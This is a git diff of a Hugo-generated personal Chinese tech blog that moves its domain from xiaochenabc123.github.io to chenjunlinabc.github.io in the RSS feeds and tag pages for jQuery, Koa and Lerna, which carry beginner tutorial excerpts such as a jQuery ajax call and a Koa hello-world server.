+      <guid>https://chenjunlinabc.github.io/posts/21/</guid>
       <description>##第一个jQuery程序
 $(&amp;lsquo;div&amp;rsquo;).html(&amp;ldquo;hello.world&amp;rdquo;);
 ##DOM对象和jQuery对象互转化
@@ -56,12 +56,12 @@ $(&amp;ldquo;div[class=divs],a[href=&amp;ldquo;https://xiaochenabc123.test.com&a
     
     <item>
       <title>jQuery-ajax()方法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/13/</link>
+      <link>https://chenjunlinabc.github.io/posts/13/</link>
       <pubDate>Wed, 16 Jun 2021 09:24:37 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/13/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/13/</guid>
       <description>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&amp;quot;button&amp;quot;).click(function(){
$.ajax({
type: &amp;quot;GET&amp;quot;,
url: &amp;quot;https://httpbin.org/get&amp;quot;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+$(document).ready(function(){ $(&amp;quot;button&amp;quot;).click(function(){ $.ajax({ type: &amp;quot;GET&amp;quot;, url: &amp;quot;https://httpbin.org/get&amp;quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
diff --git a/tags/jquery/page/1/index.html b/tags/jquery/page/1/index.html
index b7c2daa3..acf90df7 100644
--- a/tags/jquery/page/1/index.html
+++ b/tags/jquery/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/jquery/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/jquery/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/jquery/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/jquery/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/jquery/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/jquery/"></head></html>
\ No newline at end of file
diff --git a/tags/koa/index.html b/tags/koa/index.html
index 6fb9c5cc..adba7636 100644
--- a/tags/koa/index.html
+++ b/tags/koa/index.html
@@ -1,36 +1,12 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>koa | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/koa/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/koa/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="koa"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/koa/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="koa"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>koa</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>koa | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/koa/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/koa/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="koa"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/koa/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="koa"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>koa</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require("koa")
-const app = new Koa()
-app.use(async (ctx, next) => {
-await next()
-ctx.response.type = 'text/html'
-ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>'
-})
-app.listen(3000)
-node app.js
+const Koa = require("koa") const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
-const app = new Koa()
-app.use(async(ctx)=>{
-const url =ctx.url
-const request =ctx.request
-const reqQuery = request.query
-const reqQuerystring = request.querystring
-ctx.body={
-url,
-reqQuery,
-reqQuerystring
-}
-})
-app.listen(3000,()=>{
-console.log('port 3000')
-})
-http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://xiaochenabc123.github.io/posts/100/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://chenjunlinabc.github.io/posts/100/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/koa/index.xml b/tags/koa/index.xml
index cda37aa0..e758f644 100644
--- a/tags/koa/index.xml
+++ b/tags/koa/index.xml
@@ -2,31 +2,31 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>koa on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/koa/</link>
+    <link>https://chenjunlinabc.github.io/tags/koa/</link>
     <description>Recent content in koa on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 12 Sep 2021 18:30:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/koa/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 12 Sep 2021 18:30:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/koa/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Koa框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/100/</link>
+      <link>https://chenjunlinabc.github.io/posts/100/</link>
       <pubDate>Sun, 12 Sep 2021 18:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/100/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/100/</guid>
       <description>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&amp;quot;koa&amp;quot;)
const app = new Koa()
app.use(async (ctx, next) =&amp;gt; {
await next()
ctx.response.type = &#39;text/html&#39;
ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39;
})
app.listen(3000)
node app.js
+const Koa = require(&amp;quot;koa&amp;quot;) const app = new Koa() app.use(async (ctx, next) =&amp;gt; { await next() ctx.response.type = &#39;text/html&#39; ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39; }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require(&#39;koa&#39;)
const app = new Koa()
app.use(async(ctx)=&amp;gt;{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=&amp;gt;{
console.log(&#39;port 3000&#39;)
})
http://127.</description>
+const Koa = require(&#39;koa&#39;) const app = new Koa() app.use(async(ctx)=&amp;gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=&amp;gt;{ console.log(&#39;port 3000&#39;) }) http://127.</description>
     </item>
     
   </channel>
diff --git a/tags/koa/page/1/index.html b/tags/koa/page/1/index.html
index 1d60a7f6..6d10ed73 100644
--- a/tags/koa/page/1/index.html
+++ b/tags/koa/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/koa/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/koa/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/koa/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/koa/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/koa/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/koa/"></head></html>
\ No newline at end of file
diff --git a/tags/lerna/index.html b/tags/lerna/index.html
index f077a6cd..5b648d21 100644
--- a/tags/lerna/index.html
+++ b/tags/lerna/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Lerna | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/lerna/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/lerna/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Lerna"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/lerna/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Lerna"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Lerna</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Lerna | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/lerna/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/lerna/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Lerna"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/lerna/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Lerna"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt 